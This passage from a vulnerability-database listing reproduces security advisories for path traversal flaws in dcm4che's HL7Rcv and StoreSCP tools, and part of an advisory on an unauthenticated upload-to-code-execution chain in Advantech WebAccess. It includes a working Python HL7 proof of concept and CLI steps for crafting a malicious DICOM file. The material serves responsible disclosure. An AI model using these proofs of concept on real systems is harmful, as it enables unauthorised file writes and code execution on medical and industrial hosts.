          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-078\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can send HL7 MLLP messages to a running HL7Rcv\nserver can write arbitrary files outside the configured storage directory\nby injecting \"../\" sequences into the HL7 MSH-9 (Message Type) field.\n\nThis allows unauthenticated remote attackers to achieve arbitrary file\nwrite on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol\n(MLLP) via TCP. When a message is received and stored, the HL7 message type\nfield (MSH-9) is used directly as a directory name in a file constructor\nwithout any path sanitization (see HL7Rcv.java:254-259):\n\n  private UnparsedHL7Message onMessage(UnparsedHL7Message msg)\n              throws Exception {\n      if (storageDir != null)\n          storeToFile(msg.data(), new File(\n                  new File(storageDir, msg.msh().getMessageType()),\n                          useUUIDForFilename\n                                  ? UUID.randomUUID().toString()\n                                  : msg.msh().getField(9, \"_NULL_\")));\n\nThe getMessageType() method (HL7Segment.java) returns the raw MSH-9 field\nvalue verbatim. If an attacker sends an HL7 message where MSH-9 contains\npath traversal sequences (e.g. \"../outside\"), the resulting file path\nescapes the configured storage directory.\n\nThe storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to\ncreate the traversed directory structure and writes the file:\n\n  private void storeToFile(byte[] data, File f) throws IOException {\n      Connection.LOG.info(\"M-WRITE {}\", f);\n      f.getParentFile().mkdirs();\n      try (FileOutputStream out = new FileOutputStream(f)) {\n          out.write(data);\n      }\n  }\n\nNo path normalization or boundary check is performed.\n\nThe MSH-10 (Message Control ID) field is used as the leaf filename, so the\nattacker controls both the traversal path (MSH-9) and the filename (MSH-10).\n\nBecause HL7 MLLP carries no authentication, this attack can be executed\nfrom any network location with access to the HL7Rcv TCP port. A raw TCP\nconnection sending a well-formed HL7 message with the MLLP framing bytes\n(SOM 0x0B / EOM 0x1C 0x0D) is sufficient.\n\nThe root cause is the missing validation of the MSH-9 field value before\nit is used as a file path component.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated by sending a crafted HL7 message\nover a raw TCP connection using the following Python script.\n\nThe storage directory (in this example \"/tmp/hl7storage\") has to be\ncreated before starting hl7rcv and running the PoC exploit.\n\ncat \u003e poc.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport socket, os\n\n# Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018\n\n# Malicious HL7 message with path traversal in MSH-9 (directory)\n# and attacker-controlled filename in MSH-10 (Message Control ID)\nhl7 = (\"MSH|^~\\\\\u0026|SEND|-|RECV|-|\"\n     \"20240101000000||../outside_hl7|exploit.log|P|2.5\\r\"\n     \"PID|1||12345||Test^Patient\\r\")\nmllp = b\"\\x0b\" + hl7.encode(\"ascii\") + b\"\\x1c\\r\"\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((\"127.0.0.1\", 25018))\nsock.sendall(mllp)\nack = sock.recv(4096)\nsock.close()\n\n# Verify: file written at /tmp/outside_hl7/exploit.log\nprint(os.path.exists(\"/tmp/outside_hl7/exploit.log\"))\nEOF\n\nThe file is written to /tmp/outside_hl7/exploit.log, one directory level\nabove the configured storage directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-078\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/23"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0476",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23",
            "automated": true,
            "contentSha256": "575414783a3eb59f3c12e6ea860c192d4263d03b4d70b718862a384dcc059744",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:05Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0476"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0475

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-077 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The StoreSCP command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can send DICOM C-STORE requests to a vulnerable StoreSCP server can write arbitrary files outside the configured storage directory by injecting "../" sequences into DICOM attribute values. This allows unauthenticated remote attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The StoreSCP tool receives DICOM files over the DICOM network protocol via C-STORE requests. When a file is received, it is temporarily written to the configured storage directory and then renamed to its final destination using an AttributesFormat pattern (see StoreSCP.java:121-124): String iuid = rq.getString(Tag.AffectedSOPInstanceUID); File file = File.createTempFile(iuid, PART_EXT, storageDir); try { storeTo(as, as.createFileMetaInformation(iuid, cuid, tsuid), data, file); renameTo(as, file, new File(storageDir, filePathFormat == null ? iuid : filePathFormat.format(parse(file)))); The filePathFormat is constructed from a command-line argument (--filepath) and substitutes DICOM attribute values into the filename pattern. The AttributesFormat.format() method extracts values from network-received DICOM attributes and inserts them directly into the resulting path. The renameTo() method (StoreSCP.java:168-186) then creates any required parent directories and moves the file without validating that the resolved path remains within the configured storage directory: private void renameTo(Association as, File from, File dest) throws IOException { LOG.info("{}: M-RENAME {} to {}", as, from, dest); for(int try_count = 0; try_count <= renameRetries; try_count++) { try{ dest.getParentFile().mkdirs(); Files.move(from.toPath(), dest.toPath(), StandardCopyOption.REPLACE_EXISTING); return; No path normalization, canonicalization, or boundary check is performed. If the --filepath pattern references any DICOM attribute that the remote DICOM client controls (such as StudyDescription {0008,1030}, StudyInstanceUID {0020,000D}, or SeriesDescription {0008,103E}), the client can include "../" sequences that escape the storage directory. value of "../outside_storage" causes the destination path to resolve to: new File(storageDir, "../outside_storage") which is the parent directory of storageDir. The mkdirs() call creates the traversal path, and Files.move() writes the DICOM file to the escaped location. Because DICOM C-STORE carries no authentication, this attack can be executed from any network location with access to the StoreSCP port. The root cause is the missing validation after AttributesFormat.format() before the resulting path is used in file operations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal can be demonstrated using the dcm4che CLI utilities using the following steps. Step 1: Create a malicious DICOM file with path traversal in StudyDescription dcm2xml test.dcm > base.xml Step 2: Inject <DicomAttribute keyword="StudyDescription" tag="00081030" vr="LO"> <Value number="1">../outside_storage</Value></DicomAttribute> xml2dcm -x base.xml -o malicious.dcm Step 3: Start storescp with the StudyDescription as filepath pattern storescp -b STORESCP@127.0.0.1:11121 \ --filepath "{00081030}" \ --directory /tmp/storage & Step 4: Send the malicious DICOM file storescu -c STORESCP@127.0.0.1:11121 malicious.dcm Step 5: Verify the file escaped the storage directory ls /tmp/outside_storage # File exists outside /tmp/storage The file is written to /tmp/outside_storage, one directory level above the configured storage directory, confirming the path traversal. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-077 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-077\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe StoreSCP command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can send DICOM C-STORE requests to a vulnerable\nStoreSCP server can write arbitrary files outside the configured storage\ndirectory by injecting \"../\" sequences into DICOM attribute values.\n\nThis allows unauthenticated remote attackers to achieve arbitrary file write\non the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe StoreSCP tool receives DICOM files over the DICOM network protocol via\nC-STORE requests. When a file is received, it is temporarily written to\nthe configured storage directory and then renamed to its final destination\nusing an AttributesFormat pattern (see StoreSCP.java:121-124):\n\n  String iuid = rq.getString(Tag.AffectedSOPInstanceUID);\n  File file = File.createTempFile(iuid, PART_EXT, storageDir);\n  try {\n      storeTo(as, as.createFileMetaInformation(iuid, cuid, tsuid),\n              data, file);\n      renameTo(as, file, new File(storageDir,\n              filePathFormat == null\n                      ? iuid\n                      : filePathFormat.format(parse(file))));\n\nThe filePathFormat is constructed from a command-line argument (--filepath)\nand substitutes DICOM attribute values into the filename pattern. The\nAttributesFormat.format() method extracts values from network-received DICOM\nattributes and inserts them directly into the resulting path.\n\nThe renameTo() method (StoreSCP.java:168-186) then creates any required\nparent directories and moves the file without validating that the resolved\npath remains within the configured storage directory:\n\n  private void renameTo(Association as, File from, File dest)\n          throws IOException {\n      LOG.info(\"{}: M-RENAME {} to {}\", as, from, dest);\n      for(int try_count = 0; try_count \u003c= renameRetries; try_count++) {\n          try{\n              dest.getParentFile().mkdirs();\n              Files.move(from.toPath(), dest.toPath(),\n                              StandardCopyOption.REPLACE_EXISTING);\n              return;\n\nNo path normalization, canonicalization, or boundary check is performed. If\nthe --filepath pattern references any DICOM attribute that the remote DICOM\nclient controls (such as StudyDescription {0008,1030}, StudyInstanceUID\n{0020,000D}, or SeriesDescription {0008,103E}), the client can include\n\"../\" sequences that escape the storage directory.\n\n\nvalue of \"../outside_storage\" causes the destination path to resolve to:\n\n  new File(storageDir, \"../outside_storage\")\n\nwhich is the parent directory of storageDir. The mkdirs() call creates the\ntraversal path, and Files.move() writes the DICOM file to the escaped\nlocation. Because DICOM C-STORE carries no authentication, this attack can\nbe executed from any network location with access to the StoreSCP port.\n\nThe root cause is the missing validation after AttributesFormat.format()\nbefore the resulting path is used in file operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated using the dcm4che CLI utilities\nusing the following steps.\n\nStep 1:\nCreate a malicious DICOM file with path traversal in StudyDescription\n\ndcm2xml test.dcm \u003e base.xml\n\n\nStep 2:\nInject \u003cDicomAttribute keyword=\"StudyDescription\" tag=\"00081030\" vr=\"LO\"\u003e\n       \u003cValue number=\"1\"\u003e../outside_storage\u003c/Value\u003e\u003c/DicomAttribute\u003e\n\nxml2dcm -x base.xml -o malicious.dcm\n\n\nStep 3:\nStart storescp with the StudyDescription as filepath pattern\n\nstorescp -b STORESCP@127.0.0.1:11121 \\\n    --filepath \"{00081030}\" \\\n    --directory /tmp/storage \u0026\n\n\nStep 4:\nSend the malicious DICOM file\n\nstorescu -c STORESCP@127.0.0.1:11121 malicious.dcm\n\n\nStep 5:\nVerify the file escaped the storage directory\n\nls /tmp/outside_storage       # File exists outside /tmp/storage\n\n\n\nThe file is written to /tmp/outside_storage, one directory level above the\nconfigured storage directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-077\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/22"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0475",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/22",
            "automated": true,
            "contentSha256": "3096478911b20e0396d0fbc7e13128e6253f73aa6cb6159d7a9d76bf8dcf2e63",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:00Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0475"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0465

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Advantech WebAccess Node 9.2.3 unauthenticated CrystalRpt.aspx file upload and path traversal to code execution in w3wp.exe (9.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Advantech WebAccess Node 9.2.3, the closed-source industrial SCADA/HMI web server from Advantech (Taiwan). Type: unrestricted file upload (CWE-434) compounded by path traversal (CWE-22), on a page that performs no authorization decision at all (CWE-306). CWE-73 and CWE-862 also map; CWE-250/CWE-269 apply conditionally where the pool runs at high privilege. In the WaCrpt ASP.NET Web Forms application served under /broadweb/WaCrpt/, the fileSubmit_Click handler in bin\WaCrpt.dll concatenates two attacker-supplied form fields into Server.MapPath("~/report/" + projName + "_" + nodeName + "/"), gates the result on nothing but Directory.Exists(rptDirPath), then calls FileUpload1.SaveAs(filePath) with no extension validation - and does so before it attempts to open the file as a Crystal Report. Reordering those two calls alone would break the chain. The traversal rides in nodeName rather than in the uploaded filename, because ASP.NET already strips any client-side directory from the multipart filename. Sending nodeName = \..\..\ normalises the destination to the WaCrpt application root, a directory that always exists, so the provisioning check is satisfied with no report project created and no report directory present; ASP.NET request validation inspects for HTML-dangerous sequences and not for backslash or dot-dot, so nothing filters it. The bound is exactly two dot-dot levels - three or more are refused with HttpException "Cannot use a leading .. to exit above the top directory". The chain is three HTTP requests plus a follow-on GET. Request 1 harvests __VIEWSTATE (1056 bytes) and __EVENTVALIDATION (92 bytes) while establishing the traversed destination. Request 2 posts a 510-byte ASP.NET page as FileUpload1 with fileSubmit=Upload; SaveAs writes it into the application root, ReportDocument.Load then throws and the server returns HTTP 500 - a red herring, since the write already completed. Request 3 GETs the written page, which the build manager compiles on first request and executes inside w3wp.exe, running cmd.exe /c with captured stdout. No credentials, no user interaction, no race window, no memory corruption, no prior server state. A User-Agent header is mandatory: without one the CrystalDecisions viewer control throws a NullReferenceException, the form never renders and the chain stalls at step 1 - a trap that makes an unaffected conclusion easy to reach wrongly. Authentication. No authorization decision exists anywhere in the application, and that half is artifact-proven: Page_Load performs no session, cookie, token or principal check and carries no auth filter, and its failure branch is a Response.Redirect to the login page - a navigation aid, not an access denial. The shipped WaCrpt Web.config declares an authentication mode but has no authorization deny rule and no custom authentication module; there is no global.asax in the directory; eight sibling files in the module call a session-existence check and CrystalRpt.cs is not among them. The omission signature is decisive: addTemplate.cs, the SECOND report-upload handler in the same module, enforces a case-insensitive .RPT comparison while CrystalRpt.cs enforces nothing. The product has a working mechanism - waconfig90 controllers carry an auth filter with session plus csrfToken validation - and this page is not enrolled in it. The one gap, stated as a gap: whether IIS delivers an anonymous request to the WaCrpt application path lives in the site's applicationHost.config, and no such excerpt, no installer-authored IIS fragment and no vendor documentation of that factory setting was obtained. PR:N is published on a structural argument plus lab reproduction, not on an extracted artifact - the product's own operator login page cannot function unless the hosting site accepts anonymous requests, and it is served by the same IIS site. An administrator who disabled anonymous authentication on that path, or fronted it with an authenticating gateway, is not exposed on this vector, and the conditional score below prices exactly that. Scoring. All three readings the analysis priced are published: - PRIMARY, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CONDITIONAL, 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, applying where IIS authentication is enforced on the WaCrpt application path or an authenticating gateway fronts it; nothing else in the finding changes. - REJECTED, 8.1 High, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, considered because the traversal depth and the mandatory User-Agent are non-obvious and rejected because both are fixed constants under the attacker's control, which is not the CVSS 3.1 meaning of AC:H. Scope is Unchanged deliberately: the compromise executes as the pool identity of the vulnerable product's own web application, so the gain crosses a privilege level, not a component's security scope. S:C on the same impact values would compute to 10.0 and is not claimed. On scoring accuracy: the primary vector computes to ISS 0.914816, Impact under S:U of 5.873119, Exploitability 3.887043 and base 9.760161495, which the CVSS 3.1 Roundup rule renders as 9.8. The figure the research record carried for this finding is the figure its own vector computes, so no correction was required. We say so because several earlier advisories in this repository carried recorded scores that did not compute for their recorded vectors; those are being recomputed rather than copied. Impact. Confidentiality High: full read of the product's configuration, the SCADA project tree it serves and database connection material - these nodes routinely hold the point list, alarm configuration and historian data for the monitored process. Integrity High: a generic write primitive placing an attacker-named file with attacker-chosen content into a served, script-executing directory, plus arbitrary command execution, making product binaries, configuration, the report tree, tag and alarm data and host state modifiable; manipulation of served HMI content, tag values and alarm thresholds is why this is an operational-technology incident and not only a web-application one. Availability High: the web tier, the SCADA runtime it fronts and the host can be stopped or corrupted, removing operator visibility of the monitored process even where the controlled process keeps running. Execution identity caveat. The verified identity was nt authority\system with SeTcbPrivilege, SeDebugPrivilege, SeImpersonatePrivilege and SeBackupPrivilege enabled - the full SYSTEM set - but that was the VERIFICATION application pool, configured in the lab as LocalSystem. No shipped pool identity is asserted: the installer binds broadweb to DefaultAppPool and a separate helper writes the pool's IdentityType at install time, a value that could not be resolved from static strings. The rating does not depend on it, since C:H/I:H/A:H are assessed on the code-execution primitive itself. Relationship to previously published work. A previously published advisory covers an unrestricted file upload on this product scored 8.8 with AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - PR:L, an authenticated caller - affecting 9.2.1 with a fix in 9.2.2, and it does not name the affected endpoint. This finding is PR:N, and the unvalidated sink was confirmed by decompilation in 9.2.3, after that fix. Two readings are consistent with the evidence and the advisory does not pretend to settle between them: either the earlier fix addressed a different upload path and CrystalRpt.aspx was never covered, making this an independent unauthenticated variant, or the fix did not close the unauthenticated route into the same code, making this an incomplete-fix variant. Without a byte-level diff between 9.2.2 and 9.2.3, overlap cannot be excluded to certainty, and the advisory says so rather than claiming more novelty than the evidence carries. Verification boundary, stated plainly. Everything dynamic was produced by deploying the shipped WaCrpt application - CrystalRpt.aspx (2381 bytes), Web.config and bin\WaCrpt.dll, the shipped files as documented in the research record, used without modification - into a real IIS site and driving it over HTTP on loopback. The whole request path is genuine: IIS request handling, the Web Forms pipeline, event dispatch into fileSubmit_Click, Server.MapPath normalisation, FileUpload.SaveAs, the build manager compiling a freshly written page and process creation in w3wp.exe. A complete default installation of WebAccess Node 9.2.3 was NOT achieved: the 1.9 GB self-extracting installer hung in Session 0 and never produced a stock, vendor-configured deployment, so the test was surgical rather than end-to-end. Three consequences are carried explicitly. First, the site configuration was authored in the lab rather than read from the installer and the application was served at the site root over loopback, so the /broadweb/WaCrpt/ prefix is derived from a literal inside the decompiled Page_Load - the Response.Redirect to /broadweb/user/signinonly.asp - plus the application's placement in the distribution, and is strong inference rather than an observed request against a stock install. Second, the SYSTEM identity was the lab pool's; the shipped site binding, shipped pool identity and interaction with the rest of the product were never observed at runtime. Third, the record documents the installer and its size and an unpacked deployment archive holding 